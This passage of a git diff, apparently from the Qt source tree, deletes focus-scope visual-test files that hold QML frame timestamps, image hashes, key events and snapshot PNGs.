- msec: 4816 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 4832 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 4848 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 4864 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 4880 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 4896 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Key { - type: 7 - key: 16777235 - modifiers: 536870912 - text: "1e" - autorep: false - count: 1 - } - Frame { - msec: 4912 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 4928 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 4944 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 4960 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 4976 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 4992 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5008 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5024 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5040 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5056 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5072 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5088 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5104 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5120 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5136 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5152 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5168 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5184 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5200 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5216 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5232 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5248 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5264 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5280 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5296 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5312 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5328 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5344 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5360 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5376 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5392 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5408 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5424 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5440 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5456 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5472 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5488 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5504 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5520 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5536 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5552 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5568 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5584 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5600 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5616 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5632 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5648 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5664 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5680 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5696 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5712 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5728 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5744 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5760 - image: "test.5.png" - } - Frame { - msec: 5776 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5792 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 5808 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5824 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5840 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5856 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5872 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 5888 - hash: "0de58b2460574baf17912e90ba8a89b2" - } -} diff --git a/tests/auto/declarative/visual/focusscope/data-X11/test2.0.png b/tests/auto/declarative/visual/focusscope/data-X11/test2.0.png deleted file mode 100644 index 6be7aef..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-X11/test2.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-X11/test2.1.png b/tests/auto/declarative/visual/focusscope/data-X11/test2.1.png deleted file mode 100644 index 6be7aef..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-X11/test2.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-X11/test2.qml b/tests/auto/declarative/visual/focusscope/data-X11/test2.qml deleted file mode 100644 index 7170907..0000000 --- a/tests/auto/declarative/visual/focusscope/data-X11/test2.qml +++ /dev/null @@ -1,607 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 32 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 48 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 64 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 80 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 96 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 112 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 128 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 144 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 160 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 176 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 192 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 208 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 224 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 240 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 256 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 272 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 288 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 304 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 320 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 336 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 352 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 368 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 384 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 400 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 416 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 432 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 448 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 464 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 480 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 496 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 512 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 528 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 544 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 560 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 576 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 592 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 608 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 624 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 640 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 656 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 672 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 688 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 704 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 720 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 736 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 752 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 768 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 784 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 800 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 816 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 832 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 848 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 864 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 880 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 896 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 912 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 928 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 944 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 960 - image: "test2.0.png" - } - Frame { - msec: 976 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 992 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1008 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1024 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1040 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1056 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1072 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1088 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1104 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1120 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1136 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1152 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1168 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1184 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1200 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1216 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1232 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1248 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1264 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1280 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1296 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1312 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1328 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1344 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1360 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1376 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1392 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1408 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1424 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1440 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1456 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1472 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1488 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1504 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1520 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1536 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1552 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1568 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1584 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1600 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1616 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1632 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1648 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1664 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1680 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1696 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1712 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1728 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1744 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1760 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1776 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1792 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1808 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1824 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1840 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1856 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1872 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1888 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1904 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1920 - image: "test2.1.png" - } - Frame { - msec: 1936 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1952 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1968 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 1984 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 2000 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 2016 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 2032 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 2048 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 2064 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 2080 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 2096 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 2112 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 2128 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 2144 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 2160 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 2176 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 2192 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 2208 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 2224 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 2240 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 2256 - hash: "529409797f67656145ea88544bb8cc9f" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2272 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 2288 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 2304 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 2320 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 2336 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 2352 - hash: "529409797f67656145ea88544bb8cc9f" - } - Frame { - msec: 2368 - hash: "529409797f67656145ea88544bb8cc9f" - } -} diff --git a/tests/auto/declarative/visual/focusscope/data-X11/test3.0.png b/tests/auto/declarative/visual/focusscope/data-X11/test3.0.png deleted file mode 100644 index 5f93c67..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-X11/test3.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-X11/test3.1.png b/tests/auto/declarative/visual/focusscope/data-X11/test3.1.png deleted file mode 100644 index 3b4e0e6..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-X11/test3.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-X11/test3.2.png b/tests/auto/declarative/visual/focusscope/data-X11/test3.2.png deleted file mode 100644 index 54a3934..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-X11/test3.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-X11/test3.3.png b/tests/auto/declarative/visual/focusscope/data-X11/test3.3.png deleted file mode 100644 index 4f08fd2..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-X11/test3.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-X11/test3.4.png b/tests/auto/declarative/visual/focusscope/data-X11/test3.4.png deleted file mode 100644 index 9aee1f8..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-X11/test3.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-X11/test3.5.png b/tests/auto/declarative/visual/focusscope/data-X11/test3.5.png deleted file mode 100644 index 04eb05c..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-X11/test3.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-X11/test3.6.png b/tests/auto/declarative/visual/focusscope/data-X11/test3.6.png deleted file mode 100644 index 54a3934..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-X11/test3.6.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-X11/test3.7.png b/tests/auto/declarative/visual/focusscope/data-X11/test3.7.png deleted file mode 100644 index 3b4e0e6..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-X11/test3.7.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-X11/test3.8.png b/tests/auto/declarative/visual/focusscope/data-X11/test3.8.png deleted file mode 100644 index 2df55df..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-X11/test3.8.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-X11/test3.9.png b/tests/auto/declarative/visual/focusscope/data-X11/test3.9.png deleted file mode 100644 index 91816fd..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-X11/test3.9.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-X11/test3.qml b/tests/auto/declarative/visual/focusscope/data-X11/test3.qml deleted file mode 100644 index b1f628f..0000000 --- a/tests/auto/declarative/visual/focusscope/data-X11/test3.qml +++ /dev/null @@ -1,2879 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 32 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 48 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 64 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 80 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 96 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 112 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 128 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 144 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 160 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 176 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 192 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 208 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 224 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 240 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 256 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 272 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 288 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 304 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 320 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 336 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 352 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 368 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 384 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 400 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 416 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 432 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 448 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 464 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 480 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 496 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 512 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 528 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 544 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 560 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 576 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 592 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 608 - hash: "ed71dfbe146870d1a0869d60c35ff9d7" - } - Frame { - msec: 624 - hash: "ed71dfbe146870d1a0869d60c35ff9d7" - } - Frame { - msec: 640 - hash: "34796cef9feb92f7f0e2e8d837d87d34" - } - Frame { - msec: 656 - hash: "64fa8f195b57077aa03ca264fec9554a" - } - Frame { - msec: 672 - hash: "ae33318904415e937363787273ecb566" - } - Frame { - msec: 688 - hash: "67c3e1c8c728e7677a3554aadd9795c9" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 704 - hash: "1857db7aa9eefe429d50e5b2ad87064b" - } - Frame { - msec: 720 - hash: "507883a03bef0bc20755da1474731fdf" - } - Frame { - msec: 736 - hash: "dafe7464394460e04d482c1f7a1e9ad0" - } - Frame { - msec: 752 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 768 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 784 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 800 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 816 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 832 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 848 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 864 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 880 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 896 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 912 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 928 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 944 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 960 - image: "test3.0.png" - } - Frame { - msec: 976 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 992 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 1008 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 1024 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 1040 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 1056 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 1072 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 1088 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 1104 - hash: "7fb8cb07b6bca30912706cec43984d92" - } - Frame { - msec: 1120 - hash: "7fb8cb07b6bca30912706cec43984d92" - } - Frame { - msec: 1136 - hash: "c1915978cda982f6062790b2a583211b" - } - Frame { - msec: 1152 - hash: "afdb50d740b3dc7be44021d826be4302" - } - Frame { - msec: 1168 - hash: "4682717b9375b4b02a70378ddca30885" - } - Frame { - msec: 1184 - hash: "aede0eebb3948a4a764e255b892b09be" - } - Frame { - msec: 1200 - hash: "b42a147daec14a3da2548fd4de3a9a44" - } - Frame { - msec: 1216 - hash: "2ff70f916f78fe3c199eb96ceb44ce4e" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 1232 - hash: "707ac8e58d317b97113903b45a482f6b" - } - Frame { - msec: 1248 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 1264 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 1280 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 1296 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 1312 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 1328 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 1344 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 1360 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 1376 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 1392 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 1408 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 1424 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 1440 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 1456 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 1472 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 1488 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 1504 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 1520 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 1536 - hash: "91525556fe23764f58b3a3f38a29cd76" - } - Frame { - msec: 1552 - hash: "91525556fe23764f58b3a3f38a29cd76" - } - Frame { - msec: 1568 - hash: "d1dc625bbf46fc51aaf47969ad27a8a4" - } - Frame { - msec: 1584 - hash: "7d868176c7a8363a79ef8b8f4da56867" - } - Frame { - msec: 1600 - hash: "d239e0b0e118d351680c6b4b2bc5d3b2" - } - Frame { - msec: 1616 - hash: "8f6d1640dbc655eb3b326c66fcb97d3c" - } - Frame { - msec: 1632 - hash: "d52b623b8449d71734f72c7bd661a1c4" - } - Frame { - msec: 1648 - hash: "f7c0c77f3b5ed71321edd6bc7b605512" - } - Key { - type: 7 